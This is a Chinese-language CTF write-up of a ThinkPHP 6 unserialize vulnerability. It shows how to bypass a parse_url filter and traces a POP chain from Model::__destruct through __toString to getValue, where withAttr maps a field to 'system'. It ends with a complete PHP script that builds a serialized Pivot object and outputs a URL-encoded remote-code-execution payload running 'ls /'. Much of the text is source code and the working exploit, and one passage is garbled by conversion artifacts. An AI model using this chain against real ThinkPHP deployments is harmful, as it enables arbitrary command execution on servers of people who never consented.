/www.zip下载源码
查看序列化点,index.php
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
echo "<img src='../test.jpg'"."/>";
$paylaod = @$_GET['payload'];
if(isset($paylaod))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if(preg_match("/^O/i",$value))
{
die('STOP HACKING');
exit();
}
}
unserialize($paylaod);
}
}
}
看到有parse_url过滤,我们可以绕过。
在解析形如http://xxx.com///index.php?payload=cmd这样的URI时parse_url将会被绕过。
首先,序列化以*__destruct()*开始,我们可以搜索这个函数,最后,我们找到位于vendor/tothink/think-orm/src/Model.php中的这个函数
如果要执行save函数,那就需要$this->lazySave=ture
条件1、$this->lazySave=ture
然后跟进save函数中
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false;
return true;
}
可以看到data是一个空数组,跟进setAttrs函数我们可以发现,这个函数就是一个进行数据处理的函数
接着往下看,
如果*$this->isEmpty() || false === $this->trigger(‘BeforeWrite’)*这俩个有一个满足的话,我们就会直接返回false,无法继续向下执行,所以他们俩个都不能成立。
可以看到isEmpty函数,就是判断data是否为空,是就返回ture,否则返回false,所以data不能为空。
所以条件2、this->data不能为空
看到下一个trigger
public function withEvent(bool $event)
{
$this->withEvent = $event;
return $this;
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
其实主要就是这俩位置,他的event已经赋值了,默认返回就是true,可以不要管。
然后就是执行这一段代码了
我们继续跟进updateDate()函数。
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
前面那个if可以不要管,默认就是不能触发的,然后就是checkData()函数,这个函数如果我们跟进去其实可以发现就是个void。
所以往下走,看到getChangedDate()函数,这个函数也没啥,后面那个if当data不为空时就已经触发不了了,所以我们跟进checkAllowFields函数。
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
这个函数主要就是这一段,可以看到else中*$this->table . $this->suffix这里有函数拼接,也就是说可以触发__toString*函数。
所以条件3、 t h i s − > f i e l d ∗ 要为空, ∗ this->field*要为空,* this−>field∗要为空,∗this->schema这个也要为空,$this->table要为true。
由
我们可以发现,如果我们要进入updateDate中,我们的this->exists也要为true
所以条件4、this->exists=true
然后就在项目中找*__toString*函数
我们在/vendor/topthink/think-orm/src/model/concern/Conversion.php中可以找到目标
public function __toString()
{
return $this->toJson();
}
可以看到,这个函数很简单,就是继续跟toJson函数就行
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
这个我们也可以继续跟toArray()函数
public function toArray(): array
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}
return $item;
}
这段函数的代码很长,但是大概功能就是处理数据的功能,转化对象为数组。
而默认情况下,这段代码会进入elseif中触发getAttr。
我们继续跟进,
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
我们继续跟一下getData函数
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}
我们默认情况下,name为空,所以触发返回data
也就是说,我们上面赋值的data会被传入Value中。
然后就到了getValue函数,我们继续跟进
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
//$fieldName = a
//withAttr[a] = system
$closure = $this->withAttr[$fieldName];
//value = system(ls,)
$value = $closure($value, $this->data);
}
主要的执行函数也就是在这了。
我们可以跟进getReakFieldName
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}
当this->strict=true时,我们直接返回name,在上面,那么被赋值为了data。
也就是fieldName参数就是为data赋进去的值。
最后的payloud:
<?php
namespace think{
abstract class Model{
use model\concern\Attribute;
private $lazySave;
private $data=[];
protected $field;
protected $schema;
protected $withEvent;
private $exists;
private $withAttr=[];
public function __construct($obj)
{
$this->lazySave=true;
$this->data=["key"=>"ls /"];
$this->field=[];
$this->schema=[];
$this->table=$obj;
$this->exists=true;
$this->visible=["key"=>1];
$this->withAttr=["key"=>"system"];
$this->withEvent=false;
}
}
}
namespace think\model\concern{
trait Attribute{
}
trait Conversion{
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
$a=new Pivot('');
$b=new Pivot($a);
echo urlencode(serialize($b));
}
?>